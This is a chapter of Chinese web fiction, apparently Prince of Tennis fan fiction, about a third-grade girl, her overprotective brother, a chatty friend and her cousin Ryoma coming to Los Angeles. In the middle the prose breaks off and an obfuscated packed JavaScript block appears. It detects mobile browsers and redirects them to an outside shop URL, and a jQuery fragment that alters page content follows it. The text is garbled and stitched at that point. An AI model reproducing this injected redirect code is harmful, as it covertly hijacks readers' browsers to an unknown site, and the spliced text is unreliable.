九月的洛杉矶,阳光依旧炽烈,像一层薄金铺满大地。Saint Youth小学的操场上,开学典礼的余音尚未散尽,孩子们的笑声如雀鸟般在空气中跳跃。
梧桐树的树影斑驳,树下站着三个孩子,构成一幅奇异的三角图景。
墨绿色长发的女孩倚着树干,指尖翻动书页,神情静谧如深秋的湖水。她身旁,一个金发男孩正手舞足蹈,眉飞色舞地描述着什么,仿佛体内藏着一台永动机。而另一位金发少年——发色稍浅,发型利落,双臂环胸,目光如刀,冷冷锁定在那兴奋的金发男孩身上,眼神里写满了三个字:离我妹远点。
新学年第一天,熟悉的配方,熟悉的麻烦。
“雪奈雪奈!快看!”
凯宾从书包里掏出一本小册子,像献宝似的递到她眼前。
是洛杉矶青少年网球锦标赛的参赛证。
姓名:凯宾·史密斯
组别:9-10岁组
编号:A-017
“我报名成功了!”他眼睛亮得像星子坠落,“而且分组超好!第一轮对手我见过,上周训练赛我还赢了他!”
雪奈扫了一眼,轻轻点头。
“哦,加油。”
“你怎么每次都‘哦’啊!”凯宾垮下脸,像只被抢了骨头的小狗,“能不能有点反应?热情一点嘛!”
“热情。”她面无表情,语气依旧平直。
凯宾:“……”
就在这时,一道身影如疾风般插入两人之间。
越前霖宇,身高虽与凯宾相仿,气势却如山岳压顶。他居高临下地盯着凯宾,声音低沉而威严:“金毛,你靠那么近做什么?”
凯宾眨眨眼:“我没靠很近啊?”
“你有!”霖宇斩钉截铁,“你刚才离雪奈只有——三十厘米!这太近了!”
“可她是我的朋友啊,朋友靠得近点怎么了?”
“不行。”霖宇眼神冷峻,“我说不行,就是不行。”
凯宾转向雪奈,眼神写满“你哥是不是有病”。
雪奈默默翻了一页书,内心平静如水。
不,他没病。
他是“妹控晚期”,无药可医。
“霖宇哥哥,”凯宾试图讲道理,露出自认为最真诚的笑容,“我们都三年级了,是‘大人’了,不用这么——”
“不许叫我哥哥!”
“那叫什么?”
“……叫‘越前’。”
凯宾沉默两秒,转向雪奈,小声问:“你哥是不是更年期提前了?”
雪奈终于抬眸,看了他一眼。
那眼神里,有同情,有无奈,还有一丝藏不住的幸灾乐祸。
“你猜。”
三年级,意味着课表更密,作业更多,自由更少。
雪奈翻开新课表,在心中快速演算:
周一:语文、数学 + 体育&社团
周二:英语、科学 + 音乐&社团
……
网球社团:每周三次。
课后训练:每日两小时。
作业量:日均一小时。
她无声轻叹。
比前世的高三还满。
这就是美国小学生的“快乐教育”?
卷得明明白白。
但对她而言,这些课程不过是浮云。
语文、英语?闭眼A。
数学?加减乘除罢了。
科学?比编程简单十个层级。
唯一真正的“麻烦”,是每天准时出现的两个家伙——
“雪奈!”
教室门口,凯宾准时出现,笑容灿烂如阳光。
“一起去食堂啊!”
雪奈看着他,沉默一秒。
对了,还有这个“人形闹钟”。
她起身,走向门口。
凯宾欢快地跟上,嘴里滔滔不绝:“今天食堂有炸鸡块!还有新出的草莓布丁,你一定喜欢!”
雪奈静静听着,偶尔“嗯”一声,像在回应,又像只是习惯性回应。
走到楼梯口,一道身影悄然出现。
越前霖宇,双手插兜,靠在墙边,一脸“我纯属路过”。
“雪奈,去食堂?”
雪奈看着他。
四年级的食堂在另一栋楼。
你“路过”到三年级教学区?
骗鬼呢。
但她没拆穿,只点头。
霖宇自然地走到她左侧,凯宾在右,三人成列,沉默前行。
路过的同学纷纷侧目。
“那是越前雪奈?”
“旁边两个金毛是谁?”
“一个像保镖,一个像跟班……”
雪奈面无表情地走在中间,内心叹息:
这两个笨蛋。
就不能低调一点吗?
食堂人声鼎沸。
三人端着餐盘,寻了靠窗的位置。
凯宾坐她对面,霖宇立刻坐到她身边——完美隔断凯宾与雪奈的视线连接。
“看!炸鸡块!”凯宾夹起一块,“外酥里嫩,你尝尝!”
雪奈碗里多了块鸡块。
下一秒,霖宇也夹来一筷子青菜:“多吃点蔬菜。”
雪奈看着碗里挤作一团的鸡块与青菜,沉默。
左边是投喂,右边是关爱。
这是要将我养成“全能型储备粮”?
她默默咬了一口。
鸡块确实香脆。
青菜……也还行。
算了。
有人抢着喂,也算一种幸福。
正吃着,一道娇俏的声音从旁响起。
“咦,这不是越前雪奈吗?”
雪奈抬眸。
三个女生站在桌旁,为首的双马尾女孩,眼神闪着不怀好意的光。
大脑瞬间调取资料:
艾米丽·约翰逊,9岁,三年B组,CEO之女,班级“小公主”,讨厌比自己耀眼的人。
“有事?”雪奈平静发问。
“听说你暑假去日本了?”艾米丽笑得甜美,声音却刻意拔高,“哇,好厉害!你外婆家是芭蕾舞团的吧?真优雅……不过——”
她顿了顿,笑意渐冷:
“芭蕾和网球,你到底学哪个?不会两个都半吊子吧?”
周围响起几声窃笑。
凯宾脸色一沉,就要起身。
雪奈在桌下轻轻踢了他一脚。
她依旧平静,看着艾米丽:“你刚才说什么?我没听清。”
艾米丽以为她怯了,得意重复:“我说,你不会两个都——”
“哦。”雪奈打断,歪头,眼神天真,“我听清了。我只是想确认,你是不是真的这么没礼貌。”
艾米丽笑容僵住。
“你——”
“我只是陈述事实。”雪奈语气轻柔,“你说我‘两个都半吊子’,是基于什么数据?没有证据的断言,不是没礼貌,是什么?”
艾米丽涨红了脸,语塞。
凯宾憋笑憋得肩膀直抖。
霖宇面无表情,眼底却掠过一丝骄傲。
我妹妹,就是这么厉害。
“抱歉。”雪奈站起身,端起餐盘,“老师找我。下次聊天,建议先备好逻辑。”
她转身离开,步伐从容。
凯宾连忙跟上,临走前对艾米丽做了个鬼脸。
霖宇慢步经过,目光如冰扫过她。
艾米丽竟不自觉后退半步。
他什么也没说,只留下一道冷峻背影。
办公室内,班主任戴维斯女士微笑等待。
“雪奈,来,这位是新同学——越前龙马,从日本转学过来。你们都姓越前,认识吗?”
雪奈抬眸。
办公桌旁,站着一个男孩。
墨绿色头发,琥珀色眼眸,面无表情,像一尊小小的雕像。
越前龙马。
她的堂哥。
大脑瞬间运转:
南次郎伯伯来了美国?
龙马不是该在日本备战青少年赛吗?
不对,他若探亲,该先来家里……
“堂妹。”龙马开口,声音平静如深潭。
雪奈眨眨眼,立刻换上惊喜表情:“龙马哥哥!你怎么来了?”
龙马看着她,眼神复杂,像在说:你演得挺像。
“跟爸爸来美国。他有个朋友在这儿。”
雪奈心中补全:南次郎的朋友……八成是网坛旧识。
三个月?半年?
有意思。
放学路上,四人同行。
凯宾凑到龙马身边,眼睛发亮:“你就是越前龙马?我看过你比赛录像!外旋发球太帅了!”
龙马淡淡看他一眼:“你是?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17344832|199490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“凯宾·史密斯!雪奈的朋友!”
“哦。”
“嗯。”
“就这?”
龙马又“哦”了一声,继续走路。
凯宾委屈看向雪奈:“你堂哥怎么比你还冷?”
雪奈面无表情:他这已经算热情了。
你没见过他“不想理人”模式。
霖宇走在另一侧,频频瞥向龙马。
天赋极高,雪奈的目标,未来的对手。
但更令他在意的,是龙马身上那股说不清的气场——
像一把未出鞘的剑,锋芒内敛,却让人心悸。
龙马忽然转头,与他目光相接。
沉默两秒。
龙马点头,移开视线。
霖宇也收回目光。
至少,比那个话痨正常点。
应该……不会抢妹妹吧?
他猛然警觉。
不行!必须盯紧!
雪奈走在前方,浑然不觉身后两位“哥哥”的内心风暴。
她只在想:
龙马来了。
“必须打败的人”,近在咫尺。
是机会,也是风险。
机会:可近距离观察他的技术,寻找破绽。
风险:万一被他看穿我的“异常”……
她默默更新“需提防名单”。
榜首:越前龙马。
夜晚,越前家。
凌子做了一桌日式料理,欢迎龙马。
餐桌上,气氛微妙。
龙马安静进食,凯宾却在他耳边叽叽喳喳:“明天打一场?来嘛!”
龙马放下筷子,看了他三秒,终于开口:“你话很多。”
凯宾愣住。
雪奈低头忍笑,霖宇嘴角微扬。
凌子轻咳:“龙马,凯宾是雪奈的好朋友。”
龙马点头:“哦。”
继续吃饭。
凯宾委屈,但三秒后又凑上去:“那明天打不打?”
龙马看他一眼。
“……打。”
“一言为定!”
雪奈默默吃饭,心想:
一个话痨,一个闷葫芦。
绝配。
深夜,雪奈房内。
微型电脑幽幽亮着。
她调出资料:
越前龙马,9岁,父亲:越前南次郎(前世界第一),母亲:越前伦子。
现状:随父赴美,预计停留三个月。
她盯着屏幕,良久不语。
三个月。
足够我研究你。
足够我,找到击败你的方法。
但她知道——
龙马不是普通孩子。
他的直觉,他的天赋,他的洞察力……
都远超常人。
万一……被他发现我的“异常”?
她摇头,关机,躺下。
月光洒落,如银纱覆身。
她想起龙马看她的眼神。
不是“堂哥看堂妹”。
而是——
“对手看对手”。
麻烦了。
这个堂哥,比预估难搞。
但她嘴角微扬。
不过……
这样才有趣。
对吧,龙马哥哥?
第二天,课间。
凯宾拉着龙马冲向网球场:“切磋一下!”
霖宇跟去“观战”,实则评估威胁等级。
雪奈坐在场边长椅,书页翻动,目光却如鹰隼,锁定龙马。
十分钟后。
凯宾瘫倒在地,气喘如牛:“你……你不是人……”
龙马立于网前,气息平稳,表情未变:“还差得远。”
凯宾:“……”
霖宇眼神凝重。
他没尽全力。
技术成熟得不像九岁孩子。
他看向雪奈。
她仍在“看书”,但目光频频扫过龙马。
那不是好奇。
是分析,是解构,是猎手在评估猎物。
霖宇心头一震。
雪奈……有秘密。
像龙马一样。
他摇摇头,压下思绪。
想太多。
她只是我的妹妹。
这就够了。
但心底,一颗种子已悄然埋下。